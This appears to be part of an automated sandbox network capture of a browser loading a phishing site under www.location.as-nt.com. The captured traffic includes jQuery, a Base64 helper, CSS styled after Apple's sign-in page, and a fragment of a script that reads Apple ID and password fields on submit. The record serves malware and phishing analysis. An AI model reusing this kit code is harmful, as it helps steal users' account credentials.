75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 Data Ascii: clone themtarget[ name ] = jQuery.extend( deep, clone, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.e
2025-01-13 00:37:21 UTC	1378	IN	Data Raw: 63 74 22 20 7c 7c 20 6f 62 6a 2e 6e 6f 64 65 54 79 70 65 20 7c 7c 20 6a 51 75 65 72 79 2e 69 73 57 69 6e 64 6f 77 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 4e 6f 74 20 6f 77 6e 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 70 72 6f 70 65 72 74 79 20 6d 75 73 74 20 62 65 20 4f 62 6a 65 63 74 0a 09 09 69 66 20 28 20 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 20 26 26 0a 09 09 09 09 21 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 20 6f 62 6a 2c 20 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 20 29 20 26 26 0a 09 09 09 09 21 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 20 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 20 7c 7c 20 7b 7d 2c 20 22 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 22 Data Ascii: ct" \|\| obj.nodeType \|\| jQuery.isWindow( obj ) ) {return false;}// Not own constructor property must be Objectif ( obj.constructor &&!hasOwn.call( obj, "constructor" ) &&!hasOwn.call( obj.constructor.prototype \|\| {}, "isPrototypeOf"
2025-01-13 00:37:21 UTC	1378	IN	Data Raw: 69 73 65 2c 20 61 76 6f 69 64 20 74 68 65 20 44 4f 4d 20 6e 6f 64 65 20 63 72 65 61 74 69 6f 6e 2c 20 69 6e 73 65 72 74 69 6f 6e 0a 09 09 09 09 2f 2f 20 61 6e 64 20 72 65 6d 6f 76 61 6c 20 62 79 20 75 73 69 6e 67 20 61 6e 20 69 6e 64 69 72 65 63 74 20 67 6c 6f 62 61 6c 20 65 76 61 6c 0a 0a 09 09 09 09 69 6e 64 69 72 65 63 74 28 20 63 6f 64 65 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 2c 0a 0a 09 2f 2f 20 43 6f 6e 76 65 72 74 20 64 61 73 68 65 64 20 74 6f 20 63 61 6d 65 6c 43 61 73 65 3b 20 75 73 65 64 20 62 79 20 74 68 65 20 63 73 73 20 61 6e 64 20 64 61 74 61 20 6d 6f 64 75 6c 65 73 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 49 45 39 2d 31 31 2b 0a 09 2f 2f 20 4d 69 63 72 6f 73 6f 66 74 20 66 6f 72 67 6f 74 20 74 6f 20 68 75 6d 70 20 74 68 65 69 72 20 Data Ascii: ise, avoid the DOM node creation, insertion// and removal by using an indirect global evalindirect( code );}}},// Convert dashed to camelCase; used by the css and data modules// Support: IE9-11+// Microsoft forgot to hump their
2025-01-13 00:37:21 UTC	1378	IN	Data Raw: 3d 20 6e 75 6c 6c 20 3f 20 2d 31 20 3a 20 69 6e 64 65 78 4f 66 2e 63 61 6c 6c 28 20 61 72 72 2c 20 65 6c 65 6d 2c 20 69 20 29 3b 0a 09 7d 2c 0a 0a 09 6d 65 72 67 65 3a 20 66 75 6e 63 74 69 6f 6e 28 20 66 69 72 73 74 2c 20 73 65 63 6f 6e 64 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 20 3d 20 2b 73 65 63 6f 6e 64 2e 6c 65 6e 67 74 68 2c 0a 09 09 09 6a 20 3d 20 30 2c 0a 09 09 09 69 20 3d 20 66 69 72 73 74 2e 6c 65 6e 67 74 68 3b 0a 0a 09 09 66 6f 72 20 28 20 3b 20 6a 20 3c 20 6c 65 6e 3b 20 6a 2b 2b 20 29 20 7b 0a 09 09 09 66 69 72 73 74 5b 20 69 2b 2b 20 5d 20 3d 20 73 65 63 6f 6e 64 5b 20 6a 20 5d 3b 0a 09 09 7d 0a 0a 09 09 66 69 72 73 74 2e 6c 65 6e 67 74 68 20 3d 20 69 3b 0a 0a 09 09 72 65 74 75 72 6e 20 66 69 72 73 74 3b 0a 09 7d 2c 0a 0a 09 67 72 65 70 Data Ascii: = null ? -1 : indexOf.call( arr, elem, i );},merge: function( first, second ) {var len = +second.length,j = 0,i = first.length;for ( ; j < len; j++ ) {first[ i++ ] = second[ j ];}first.length = i;return first;},grep
2025-01-13 00:37:21 UTC	1378	IN	Data Raw: 2c 0a 0a 09 2f 2f 20 42 69 6e 64 20 61 20 66 75 6e 63 74 69 6f 6e 20 74 6f 20 61 20 63 6f 6e 74 65 78 74 2c 20 6f 70 74 69 6f 6e 61 6c 6c 79 20 70 61 72 74 69 61 6c 6c 79 20 61 70 70 6c 79 69 6e 67 20 61 6e 79 0a 09 2f 2f 20 61 72 67 75 6d 65 6e 74 73 2e 0a 09 70 72 6f 78 79 3a 20 66 75 6e 63 74 69 6f 6e 28 20 66 6e 2c 20 63 6f 6e 74 65 78 74 20 29 20 7b 0a 09 09 76 61 72 20 74 6d 70 2c 20 61 72 67 73 2c 20 70 72 6f 78 79 3b 0a 0a 09 09 69 66 20 28 20 74 79 70 65 6f 66 20 63 6f 6e 74 65 78 74 20 3d 3d 3d 20 22 73 74 72 69 6e 67 22 20 29 20 7b 0a 09 09 09 74 6d 70 20 3d 20 66 6e 5b 20 63 6f 6e 74 65 78 74 20 5d 3b 0a 09 09 09 63 6f 6e 74 65 78 74 20 3d 20 66 6e 3b 0a 09 09 09 66 6e 20 3d 20 74 6d 70 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 51 75 69 63 6b 20 63 Data Ascii: ,// Bind a function to a context, optionally partially applying any// arguments.proxy: function( fn, context ) {var tmp, args, proxy;if ( typeof context === "string" ) {tmp = fn[ context ];context = fn;fn = tmp;}// Quick c
2025-01-13 00:37:21 UTC	1378	IN	Data Raw: 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 20 22 20 22 20 29 2c 0a 66 75 6e 63 74 69 6f 6e 28 20 69 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 69 4f 53 20 38 2e 32 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 Data Ascii: r String Function Array Date RegExp Object Error Symbol".split( " " ),function( i, name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: iOS 8.2 (not reproducible in simulator)// `in` ch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49849	89.250.71.221	443	6416	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:37:32 UTC	564	OUT	GET /aU3V88/jss/function.js HTTP/1.1 Host: www.location.as-nt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.location.as-nt.com/aU3V88/c1.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:37:33 UTC	238	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:37:33 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 3108 Content-Type: text/javascript
2025-01-13 00:37:33 UTC	3108	IN	Data Raw: 2f 2a 2a 0d 0a 2a 0d 0a 2a 20 20 42 61 73 65 36 34 20 65 6e 63 6f 64 65 20 2f 20 64 65 63 6f 64 65 0d 0a 2a 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 65 62 74 6f 6f 6c 6b 69 74 2e 69 6e 66 6f 2f 0d 0a 2a 0d 0a 2a 2a 2f 0d 0a 0d 0a 76 61 72 20 42 61 73 65 36 34 20 3d 20 7b 0d 0a 0d 0a 09 2f 2f 20 70 72 69 76 61 74 65 20 70 72 6f 70 65 72 74 79 0d 0a 09 5f 6b 65 79 53 74 72 20 3a 20 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 2c 0d 0a 0d 0a 09 2f 2f 20 70 75 62 6c 69 63 20 6d 65 74 68 6f 64 20 66 6f 72 20 65 6e 63 6f 64 69 6e 67 0d 0a 09 65 6e 63 6f 64 65 20 3a 20 66 75 6e 63 74 69 6f 6e 20 28 69 6e 70 Data Ascii: /**** Base64 encode / decode* http://www.webtoolkit.info/***/var Base64 = {// private property_keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",// public method for encodingencode : function (inp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49851	89.250.71.221	443	6416	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:37:32 UTC	579	OUT	GET /aU3V88/css/appe.css?v=1 HTTP/1.1 Host: www.location.as-nt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.location.as-nt.com/aU3V88/c1.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:37:33 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:37:33 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 133797 Content-Type: text/css
2025-01-13 00:37:33 UTC	7959	IN	Data Raw: 68 74 6d 6c 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 7d 0d 0a 0d 0a 62 6f 64 79 20 7b 6d 61 72 67 69 6e 3a 30 3b 7d 0d 0a 0d 0a 61 72 74 69 63 6c 65 2c 20 61 73 69 64 65 2c 20 64 65 74 61 69 6c 73 2c 20 66 69 67 63 61 70 74 69 6f 6e 2c 20 66 69 67 75 72 65 2c 20 66 6f 6f 74 65 72 2c 20 68 65 61 64 65 72 2c 20 68 67 72 6f 75 70 2c 20 6d 61 69 6e 2c 20 6d 65 6e 75 2c 20 6e 61 76 2c 20 73 65 63 74 69 6f 6e 2c 20 73 75 6d 6d 61 72 79 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0d 0a 7d 0d 0a 0d 0a 61 75 64 69 6f 2c 20 63 61 6e 76 61 73 2c Data Ascii: html {font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;}body {margin:0;}article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display:block;}audio, canvas,
2025-01-13 00:37:33 UTC	8000	IN	Data Raw: 0d 0a 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 65 74 2d 34 20 7b 0d 0a 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 25 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 65 74 2d 35 20 7b 0d 0a 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 37 25 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 65 74 2d 36 20 7b 0d 0a 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6c 2d 78 73 2d 6f 66 66 73 65 74 2d 37 20 7b 0d 0a 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 25 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a Data Ascii: margin-left:25%;}.col-xs-offset-4 { margin-left:33.33333%;}.col-xs-offset-5 { margin-left:41.66667%;}.col-xs-offset-6 { margin-left:50%;}.col-xs-offset-7 { margin-left:58.33333%;}
2025-01-13 00:37:33 UTC	8000	IN	Data Raw: 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6c 2d 6c 67 2d 70 75 6c 6c 2d 32 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 31 36 2e 36 36 36 36 37 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6c 2d 6c 67 2d 70 75 6c 6c 2d 33 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 32 35 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6c 2d 6c 67 2d 70 75 6c 6c 2d 34 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 33 33 2e 33 33 33 33 33 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6c 2d 6c 67 2d 70 75 6c 6c 2d 35 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 34 31 2e 36 36 36 36 37 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6c 2d 6c 67 2d 70 Data Ascii: .col-lg-pull-2 { right:16.66667%; } .col-lg-pull-3 { right:25%; } .col-lg-pull-4 { right:33.33333%; } .col-lg-pull-5 { right:41.66667%; } .col-lg-p
2025-01-13 00:37:33 UTC	8000	IN	Data Raw: 66 66 3b 0d 0a 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 62 63 30 64 65 3b 0d 0a 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 34 36 62 38 64 61 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 62 74 6e 2d 69 6e 66 6f 3a 66 6f 63 75 73 2c 20 2e 62 74 6e 2d 69 6e 66 6f 2e 66 6f 63 75 73 20 7b 0d 0a 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 66 66 66 3b 0d 0a 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 31 62 30 64 35 3b 0d 0a 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 62 36 64 38 35 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 62 74 6e 2d 69 6e 66 6f 3a 68 6f 76 65 72 20 7b 0d 0a 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 66 66 66 3b 0d 0a 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f Data Ascii: ff; background-color:#5bc0de; border-color:#46b8da;}.btn-info:focus, .btn-info.focus { color:#fff; background-color:#31b0d5; border-color:#1b6d85;}.btn-info:hover { color:#fff; background-co
2025-01-13 00:37:33 UTC	8000	IN	Data Raw: 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 39 31 70 78 29 20 7b 0d 0a 0d 0a 20 20 20 20 2e 76 69 73 69 62 6c 65 2d 73 6d 2d 69 6e 6c 69 6e 65 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 7d 0d 0a 0d 0a 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 39 31 70 78 29 20 7b 0d 0a 0d 0a 20 20 20 20 2e 76 69 73 69 62 6c 65 2d 73 6d 2d 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 Data Ascii: @media(min-width:768px) and (max-width:991px) { .visible-sm-inline { display:inline !important; }}@media(min-width:768px) and (max-width:991px) { .visible-sm-inline-block { display:inline-block !important
2025-01-13 00:37:33 UTC	8000	IN	Data Raw: 0d 0a 20 20 20 20 2d 6d 6f 7a 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 76 65 72 74 69 63 61 6c 3b 0d 0a 0d 0a 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 0d 0a 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 0d 0a 0d 0a 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 37 36 37 70 78 29 20 7b 0d 0a 0d 0a 20 20 20 20 2e 69 64 6d 73 2d 6d 6f 64 61 6c 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 34 30 70 78 20 31 30 70 78 3b 0d 0a 0d 0a 20 20 20 20 7d Data Ascii: -moz-flex-direction:vertical; -ms-flex-direction:column; -webkit-flex-direction:column; flex-direction:column;}@media only screen and (max-device-width:767px) { .idms-modal { padding:40px 10px; }
2025-01-13 00:37:33 UTC	8000	IN	Data Raw: 20 20 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 33 35 64 65 67 29 20 73 6b 65 77 58 28 35 64 65 67 29 20 73 6b 65 77 59 28 35 64 65 67 29 3b 0d 0a 0d 0a 20 20 20 20 74 6f 70 3a 2d 38 70 78 3b 0d 0a 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 6c 65 66 74 3a 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 31 38 35 2c 20 31 34 39 2c 20 31 2c 20 30 2e 34 37 29 3b 0d 0a 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 31 38 35 2c 20 31 34 39 2c 20 31 2c 20 30 2e 34 37 29 3b 0d 0a 0d 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 2d 31 70 78 20 31 70 78 20 32 70 78 20 2d 31 70 78 20 72 67 62 61 28 31 38 35 2c 20 31 34 39 2c 20 31 2c 20 30 2e 34 37 29 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 73 69 2d 63 6f 6e Data Ascii: transform:rotate(135deg) skewX(5deg) skewY(5deg); top:-8px; border-left:1px solid rgba(185, 149, 1, 0.47); border-bottom:1px solid rgba(185, 149, 1, 0.47); box-shadow:-1px 1px 2px -1px rgba(185, 149, 1, 0.47);}.si-con
2025-01-13 00:37:33 UTC	8000	IN	Data Raw: 68 65 69 67 68 74 3a 30 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 7d 0d 0a 0d 0a 40 2d 6b 68 74 6d 6c 2d 6b 65 79 66 72 61 6d 65 73 20 73 6c 69 64 65 64 6f 77 6e 20 7b 0d 0a 0d 0a 20 20 20 20 30 25 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 32 35 25 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 35 30 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 37 35 25 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 32 35 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 31 30 30 25 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 30 25 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 7d 0d 0a 0d 0a 40 6b 65 79 66 72 61 6d 65 Data Ascii: height:0%; }}@-khtml-keyframes slidedown { 0% { height:100%; } 25% { height:50%; } 75% { height:25%; } 100% { height:0%; }}@keyframe
2025-01-13 00:37:33 UTC	8000	IN	Data Raw: 20 2e 69 64 6d 73 2d 6d 6f 64 61 6c 20 2e 72 65 73 65 74 2d 63 72 2d 74 6f 6b 65 6e 20 2e 64 69 61 6c 6f 67 2d 69 6e 66 6f 20 2e 73 69 2d 6c 69 6e 6b 20 7b 0d 0a 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 0d 0a 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 0d 0a 0d 0a 7d 0d 0a 0d 0a 2e 69 64 6d 73 2d 6d 6f 64 61 6c 20 2e 73 75 70 70 72 65 73 73 20 2e 64 69 61 6c 6f 67 2d 66 6f 6f 74 65 72 2c 20 2e 69 64 6d 73 2d 6d 6f 64 61 6c 20 2e 61 63 63 2d 6c 6f 63 6b 65 64 20 2e 64 69 61 6c 6f 67 2d 66 6f 6f 74 65 72 2c 20 2e 69 64 6d 73 2d 6d 6f 64 61 6c 20 2e 72 65 73 65 74 2d 63 72 2d 74 6f 6b 65 6e 20 2e 64 69 61 6c 6f 67 2d 66 6f 6f 74 65 72 20 7b 0d 0a 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f Data Ascii: .idms-modal .reset-cr-token .dialog-info .si-link { font-size:20px; font-weight:400;}.idms-modal .suppress .dialog-footer, .idms-modal .acc-locked .dialog-footer, .idms-modal .reset-cr-token .dialog-footer { border-top:1px so
2025-01-13 00:37:33 UTC	8000	IN	Data Raw: 72 6f 77 73 65 72 20 2e 66 6f 6f 74 65 72 20 2e 62 75 74 74 6f 6e 2d 62 61 72 20 2e 62 75 74 74 6f 6e 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 37 70 78 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 2d 30 2e 30 32 33 35 65 6d 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 73 66 2d 6e 73 2d 75 69 20 2e 6c 6f 67 6f 20 2e 63 6e 73 6d 72 2d 61 70 70 2d 6e 61 6d 65 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 33 70 78 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 2e 30 31 38 35 65 6d 3b 0d 0a 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 73 66 2d 6e 73 2d 75 69 20 2e 77 69 64 67 65 74 2d 63 6f 6e 74 61 69 6e Data Ascii: rowser .footer .button-bar .button { font-size:17px; letter-spacing:-0.0235em; } .sf-ns-ui .logo .cnsmr-app-name { font-size:23px; letter-spacing:0.0185em; } .sf-ns-ui .widget-contain

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49852	89.250.71.221	443	6416	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:37:33 UTC	573	OUT	GET /aU3V88/jss/myscript_ind_fact.js HTTP/1.1 Host: www.location.as-nt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.location.as-nt.com/aU3V88/c1.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:37:33 UTC	238	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 00:37:33 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 15 Aug 2024 23:42:42 GMT Accept-Ranges: bytes Content-Length: 4706 Content-Type: text/javascript
2025-01-13 00:37:33 UTC	4706	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6c 69 6d 70 69 61 72 5f 63 61 72 67 61 28 29 20 7b 0a 20 20 20 20 24 28 22 23 63 61 72 67 61 5f 65 6e 76 69 6f 22 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 2c 20 22 6e 6f 6e 65 22 29 2c 20 24 28 22 23 62 74 5f 66 6c 65 63 22 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 2c 20 22 62 6c 6f 63 6b 22 29 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 73 75 62 6d 69 74 74 28 29 20 7b 0a 20 20 20 20 24 2e 74 72 69 6d 28 24 28 22 23 61 70 70 6c 65 49 64 22 29 2e 76 61 6c 28 29 2e 6c 65 6e 67 74 68 29 20 3e 20 30 20 3f 20 24 2e 74 72 69 6d 28 24 28 22 23 70 77 64 22 29 2e 76 61 6c 28 29 2e 6c 65 6e 67 74 68 29 20 3e 20 30 20 26 26 20 28 24 28 22 23 63 61 72 67 61 5f 65 6e 76 69 6f 22 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 2c 20 22 62 6c Data Ascii: function limpiar_carga() { $("#carga_envio").css("display", "none"), $("#bt_flec").css("display", "block")}function submitt() { $.trim($("#appleId").val().length) > 0 ? $.trim($("#pwd").val().length) > 0 && ($("#carga_envio").css("display", "bl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49850	89.250.71.221	443	6416	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
